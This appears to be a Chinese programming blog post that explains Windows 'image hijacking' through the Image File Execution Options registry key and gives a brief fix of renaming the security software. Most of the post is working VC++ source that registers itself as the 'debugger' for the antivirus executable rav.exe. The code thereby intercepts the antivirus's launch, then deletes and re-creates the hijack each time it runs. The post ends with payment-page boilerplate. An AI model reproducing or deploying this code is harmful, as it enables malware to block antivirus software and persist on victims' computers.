VC++编程实现镜像劫持

所谓的镜像劫持,就是在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Image File Execution Options]处新建一个以杀毒软件主程序命名的项,例如Rav.exe。然后再创建一个子键“Debugger="C:\WINDOWS\system32\drivers\”。以后只要用户双击 Rav.exe就会运行OSO的病毒文件,类似文件关联的效果。
镜像劫持的简单解决方法

  如果电脑上有杀毒软件或360什么的但是中了镜像劫持是安全软件无法运行的话,
  其实只需要更改一下安全软件的名字就能不被镜像劫持利用,个人认为这是最适合初学者的最简单办法。
  首先找到安全软件的位置大部分都放在program files文件夹下。 找到名字例如拿360做例子原文件路径X:\Program Files\360safe原名为360Safe.exe 你把名字改为36015safe.exe(名字什么都行不过就不能是安全软件的名字)然后双击此安全软件就会过镜像劫持开始运行,后面的查杀就不需要说什么了吧。这小操作可以解决燃眉之急啦。


  1. #include "stdafx.h" 
  2. #include <stdio.h> 
  3. #include <windows.h> 
  4.  
  5. int main(int argc, char* argv[]) 
  6.     char temp[256]; 
  7.     DWORD ret; 
  8.     LPCTSTR szRegKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"; //定义字符串指针,保存映像劫持的键位 
  9.     HKEY h_KEY; 
  10.     if(argc!=1)   //如果参数不是1个,提取第2个参数,也就是被劫持程序的路径 
  11.     { 
  12.         memset(temp,0,256); 
  13.         strcpy(temp,argv[1]);    
  14.         for(int i=0;i<strlen(temp);i++)    //将路径中的\换为/,也可以换为\\,就是代码长了点 
  15.         { 
  16.             if(temp[i]=='\\'
  17.                 temp[i]='/'
  18.         }                         
  19.         ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey,0,KEY_ALL_ACCESS,&h_KEY); //打开注册表中需要映像劫持的子键获得句柄 
  20.         if(ret==ERROR_SUCCESS) 
  21.         { 
  22.             printf("open ok!\n"); 
  23.             if(ERROR_SUCCESS==RegDeleteKey(h_KEY,"rav.exe")) //将上面打开的子键下的rav子键删除 
  24.             { 
  25.                 printf("delete ok!\n"); 
  26.                 RegCloseKey(h_KEY); 
  27.                 WinExec(temp,SW_SHOW);    //运行被劫持的程序 
  28.             } 
  29.             else 
  30.             { 
  31.                 printf("delete failed!\n"); 
  32.                 RegCloseKey(h_KEY); 
  33.             }            
  34.         } 
  35.         else 
  36.         printf("open failed!\n"); 
  37.     } 
  38.     memset(temp,0,256); 
  39.     GetModuleFileName(NULL,temp,256);   //得到程序自己的路径,为下面写入注册表做准备 
  40.     HKEY hResultKey = NULL; 
  41.     if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey, 0, KEY_ALL_ACCESS,&h_KEY))  //打开注册表中映像劫持的子键,获得句柄 
  42.     { 
  43.         DWORD dw; 
  44.         ret = RegCreateKeyEx(h_KEY,"rav.exe", 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,&hResultKey, &dw);  //在上面打开的子键下创建rav子键并打开,获得句柄 
  45.         if (ret!=ERROR_SUCCESS) 
  46.         { 
  47.         RegCloseKey(h_KEY); 
  48.         printf("creat failed!\n"); 
  49.         return 1; 
  50.         } 
  51.         printf("creat ok!\n"); 
  52.         ret=RegSetValueEx(hResultKey,"debugger",0,REG_SZ,(const BYTE *)temp,strlen(temp)+1);   //在rav键上创建debugger键并设置值为本程序的路径用于映像劫持 
  53.         if(ret!=ERROR_SUCCESS) 
  54.         { 
  55.         RegCloseKey(h_KEY); 
  56.         RegCloseKey(hResultKey); 
  57.         return 1; 
  58.         } 
  59.         RegCloseKey(h_KEY); 
  60.         RegCloseKey(hResultKey); 
  61.         printf("set ok!\n"); 
  62.     } 
  63.     MessageBox(NULL,"ok!","成功!",MB_OK);    //用于测试程序,可以监视 
  64.      
  65.  
  66.     return 0; 

原文地址: http://blog.csdn.net/yincheng01/article/details/8107407
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值